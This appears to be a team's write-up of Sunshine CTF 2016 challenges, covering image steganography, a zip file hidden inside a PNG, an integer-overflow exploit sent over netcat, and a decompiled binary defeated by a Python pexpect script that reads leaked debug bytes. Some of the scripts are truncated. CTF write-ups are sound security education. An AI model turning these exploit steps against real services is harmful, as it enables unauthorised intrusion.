Let's participate at Sunshine CTF 2016.

The CTF will begin on 12 March 2016 16:00 UTC and ends on 13 March 2016 20:30 UTC.

As usual, we will play as team sec.se. The team communicates through the CTF team chatroom.

We solved a total of 6 challenges worth 355 points in total. We got the 59th place out of the +500 teams. Good job everyone!



Forensics: Butterfly Effect (50)

We were given an image of a butterfly. Running foremost on it didn't return anything special. I realised it was probably some image stegano-fu. After trying out some tools, I thought maybe this isn't about using some random stegano tools. I opened GIMP and started fiddling with some filters and colors. I finally used Menu > Colors > Levels:

gimp: butterfly


Forensics: That's No Moon (50)

We were given an image of a moon. Opening it in a hex editor, I quickly noticed there's a zip file at the end:


I used foremost to extract the contents. Who knows I might have overlooked other files:

foremost -i moon.png -o output -v


I tried to extract it but it was password protected. After pondering for a while and looking into the image again I thought about guessing the password. It turned out the password was "moon":

enter image description here


Exploitation: alligatorsim95 (50)

We had to nc to the server which gave us some nice ASCII art:

nc 9000

              .-._   _ _ _ _ _ _ _ _
   .-''-.__.-'00  '-' ' ' ' ' ' ' ' '-.
  '.___ '    .   .--_'-' '-' '-' _'-' '._
   V: V 'vv-'   '_   '.       .'  _..' '.'.
     '=.____.=_.--'   :_.__.__:_   '.   : :
             (((____.-'        '-.  /   : :
   snd                         (((-' .' /
                             _____..'  .'
  -> welcome to alligatorsim95!

-> u r... AN ALLIGATOR!!
.. simulating alligator lifecycle ..
.. simulating alligator throwing physics..
-> you got 1337 eggz in ur nest, how many you gonna lay alligator??

We could increase the eggs in our nest by passing a value. I then thought if we could pass a negative value. It turned out it was possible: the eggs in the nest decreased. I then tried a huge negative number: -10000000000. I discovered there was an integer overflow. I quickly wrote a simple php script:


echo "-" . pow(2, 32) . "\n" .

Pwning with a simple command php exp_eggs.php | nc 9000: alligatorsim95


Exploitation: randy (100)

We were given an address to connect to and an executable:

randy elf

It turned out it was a 32 bit ELF executable. Running the executable resulted into "guessing" some input:

guessing randy

I used retdec to get some juicy info about the source:

int main(int argc, char ** argv) {
    char * mem = malloc(46); // 0x80485ae
    int32_t v1 = (int32_t)mem; // 0x80485bc
    strcpy(mem, "Welcome to Randy's TinyPoker! DebugInfo: AAAA\n");
    uint32_t v2 = rand(); // 0x80485f6
    char * v3 = (char *)(v1 + 41); // 0x8048601_0
    *v3 = (char)((int32_t)*v3 + v2 / 0x1000000);
    char * v4 = (char *)(v1 + 42); // 0x804861e_0
    *v4 = (char)((int32_t)*v4 + v2 / 0x10000);
    char * v5 = (char *)(v1 + 43); // 0x804863b_0
    *v5 = (char)((int32_t)*v5 + v2 / 256);
    char * v6 = (char *)(v1 + 44); // 0x8048658_0
    *v6 = (char)((int32_t)*v6 + v2);
    printf("We've dealt you your hand face down, please enter it:\n");
    int32_t str;
    memset((char *)&str, 0, 5);
    int32_t stream = g1;
    fgets((char *)&str, 5, (struct struct__IO_FILE *)&stream);
    if (str == v2) {
        printf("You guessed that hand perfectly! Here's your prize: flag-here\n");
    } else {
        printf("Sorry, wrong hand, try again!\n");
    return 0;

So basically v1 points to a string in memory Welcome to Randy's TinyPoker! DebugInfo: AAAA\n, v2 is some random number and v3, v4, v5, v6 all point to the debug info part (AAAA initially).

Then it proceeds to add a part of the random number to each of v3, v4, v5, v6 by dividing v2 first:

*v3 = (char)((int32_t)*v3 + v2 / 0x1000000); // v3 = v3 + (v2 / 2^24)
*v4 = (char)((int32_t)*v4 + v2 / 0x10000);   // v4 = v4 + (v4 / 2^16) 
*v5 = (char)((int32_t)*v5 + v2 / 256);       // v5 = v5 + (v5 / 2^8)
*v6 = (char)((int32_t)*v6 + v2);

At the end, it compares our input with the random generated value str == v2. So in order to guess correctly we need to get the debug info and substract A from each character, pack it and send it!


# Make sure to install pexpect (linux only) - pip install pexpect
import pexpect
import struct
import os

# Spawn the program
child = pexpect.spawn('./randy_noflag')

child.expect('Welcome to Randy\'s TinyPoker! DebugInfo: (.{4})')

debug = child.match.group(1)
payload = ""


for char in debug:
    byte = char - 0x41 # Substract "A"
    byte %= 256        # Prevent out of range errors 
    payload += "{:02x}".format(byte) # Convert to hex and append

payload = bytes.fromhex(payload)[::-1] # convert to bytes and reverse

# Own it

randy pwn

This local script was handy since the remote server was down some of the times.

The flag: sun{c4rds_in_th3_tr4p}.


Misc.: Find Floridaman (50)

In other news… Floridaman did what with an alligator?

Remember, this has the normal flag format.

Well, at the time I started the challenge, the following hints were added by the Sunshine CTF team:

Hint: You need only look at comments from Florida-based news websites.

Hint: Gator went threw a window!

Let's Google then. The first website in the results has only one comment:

May the Lord have mercy on this man. That poor woman in the drivethrough! sun{1s_th1s_even_real_l1fe?}

The flag is sun{1s_th1s_even_real_l1fe?}.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .